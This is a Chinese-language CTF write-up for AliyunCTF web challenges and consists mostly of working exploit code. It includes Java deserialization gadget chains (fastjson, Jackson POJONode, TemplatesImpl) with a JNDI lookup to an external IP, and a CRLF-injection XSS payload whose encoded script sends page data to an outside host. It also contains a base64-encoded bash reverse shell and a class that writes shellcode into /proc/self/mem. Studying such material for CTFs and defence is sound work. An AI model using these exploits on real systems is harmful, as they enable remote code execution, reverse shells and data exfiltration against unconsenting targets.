AliyunCTF部分web题解

ezbean

直接通过fastjson触发com.ctf.ezser.bean.MyBean 的 getter,进而利用RMIConnector的jndi注入,使用elbypass 可以成功利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;
import com.ctf.ezser.utils.MyObjectInputStream;


import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.Base64;
public class ezbean {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {


// String unStr = "service:jmx:rmi://180.76.154.33:1099/stub/"+b64str;
// JMXServiceURL jmxServiceURL = new JMXServiceURL(unStr);

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setValue(jmxServiceURL,"urlPath","/jndi/rmi://180.76.154.33:1099/isjyqa");
Object rmiConnector = new RMIConnector(jmxServiceURL, null);

MyBean myBean = new MyBean(null,null, (JMXConnector) rmiConnector);
JSONObject jsonObject = new JSONObject();
jsonObject.put("a",myBean);


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class cBadAttributeValueExpException = Class.forName("javax.management.BadAttributeValueExpException");
Field fval = cBadAttributeValueExpException.getDeclaredField("val");
fval.setAccessible(true);
fval.set(badAttributeValueExpException,jsonObject);
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
oos1.writeObject(badAttributeValueExpException);

oos1.close();
byte[] bytes1 = baos1.toByteArray();
byte[] data = Base64.getEncoder().encode(bytes1);
System.out.println(new String(data));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

Obsidian

CRLF->xss

1
/note/025c938c-6e63-435f-8ddd-40cb53259639%0d%0aContent-Type%3A%20text%2Fhtml%3B%20charset%3Dutf-8%0d%0aContent-Length:400%0d%0a%0d%0aaaaa%3Cscript%3Eeval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkgCnsgCiAgICB2YXIgZW5jb2RlZCA9IGVuY29kZVVSSSh0aGlzLnJlc3BvbnNlVGV4dCk7CiAgICBsb2NhdGlvbi5ocmVmPSJodHRwOi8vMS4xMTcuNzMuMTE5OjIzMzMvP2RhdGE9IitlbmNvZGVkOyAKfSAKdmFyIG9SZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgCm9SZXEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIHJlcUxpc3RlbmVyKTsgCm9SZXEub3BlbigiR0VUIiwiL2Jsb2ciKTsgCm9SZXEuc2VuZCgpOw=="))%3C%2Fscript%3E

bypassIt I

需要挖掘新链子,看到下面配置感觉链子和jackson有关

类比fastjson链子来看,找到writeValueAsString 可以触发getter方法,接着就是找toString到writeValueAsString的链子

1
2
3
4
5
6
match (source:Method) where source.NAME =~"toString"
match (sink:Method {}) where sink.NAME =~ "writeValueAsString"
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source,sinks, 4, false, false) yield path
where none(n in nodes(path) where (n.CLASSNAME = "a" or n.CLASSNAME = "b"))
return path limit 1

分析后有如下链子

BadAttributeValueExpException.readObject

com.fasterxml.jackson.databind.node.BaseJsonNode.toString

com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString

com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString

->getter (接templateimpl链子)

然后写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.ctf.bypassit;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exploit {
public static void setFieldValue(Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(filedName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);

CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODAuNzYuMTU0LjMzLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
// constructor.setBody("System.out.println(123);");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "null");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode pojoNode = new POJONode("abc");
setFieldValue(pojoNode,"_value",templates);



BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("abcdefg");
setFieldValue(badAttributeValueExpException,"val",pojoNode);
ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("bypass1.ser"));
stream.writeObject(badAttributeValueExpException);
stream.close();
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
oos1.writeObject(badAttributeValueExpException);
oos1.close();
byte[] bytes1 = baos1.toByteArray();
byte[] data = Base64.getEncoder().encode(bytes1);
System.out.println(new String(data));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}
}

在生成exp时要将com.fasterxml.jackson.databind.node.BaseJsonNode#writeReplace方法改成别的名字,不然生成序列化数据时传递不了对象

bypass2

与1一样,不过禁用了native层的系统调用,但是可以任意文件写,通过向/proc/self/mem中覆盖内存写shellcode达到rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;


public class exploit2 {
public static void setFieldValue(Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(filedName);
field.setAccessible(true);
field.set(object,value);
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Hack.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "hahahha");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode pojoNode = new POJONode("abc");
setFieldValue(pojoNode,"_value",templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",pojoNode);
ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("ppp.ser"));
stream.writeObject(badAttributeValueExpException);
stream.close();
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
oos1.writeObject(badAttributeValueExpException);
oos1.close();
byte[] bytes1 = baos1.toByteArray();
byte[] data = Base64.getEncoder().encode(bytes1);
System.out.println(new String(data));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.util.Base64;

public class Hack extends AbstractTranslet {


public Hack() throws Exception {


String b64_shell = "ailYagJfagFemQ8FSInFSLgBAQEBAQEBAVBIuAMBCBy1TZsgSDEEJGoqWEiJ72oQWkiJ5g8FagNeSP/OeAtWaiFYSInvDwXr72poSLgvYmluLy8vc1BIiedocmkBAYE0JAEBAQEx9lZqCF5IAeZWSInmMdJqO1gPBQ==";
byte[] shellcode = Base64.getDecoder().decode(b64_shell);//len 137
// byte[] padding = new byte[11665271];
// for ( int i= 0 ;i<padding.length;i++)
// {
// padding[i] = (byte)144;
// }
// byte[] bt3 = new byte[padding.length+shellcode.length];
// System.arraycopy(padding, 0, bt3, 0, padding.length);
// System.arraycopy(shellcode, 0, bt3, padding.length, shellcode.length);

FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long libbase = 0L;
while ((line = reader.readLine()) != null)
{
String[] splits = line.trim().split(" ");
if(line.endsWith("libc-2.31.so")) {
String[] addr_range = splits[0].split("-");
libbase = Long.parseLong(addr_range[0], 16);

break;
}
}
fin.close();
System.out.println(libbase);

File file = new File("/proc/self/mem");
System.out.println(file);
RandomAccessFile access = new RandomAccessFile(file, "rw");
// access.seek(140556966499936L);
access.seek(libbase+685664);
byte[] bytes = new byte[20];
access.write(shellcode);
access.close();
//
// RandomAccessFile access1 = new RandomAccessFile(file, "rw");
// access1.seek(140422551896064L);
// access1.read(bytes,0,20);
// access1.close();
// FileInputStream fis = new FileInputStream(file);
// fis.read(bytes);
FileOutputStream outputStream = new FileOutputStream("/tmp/mem_output");
outputStream.write(bytes);
outputStream.close();


}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}


}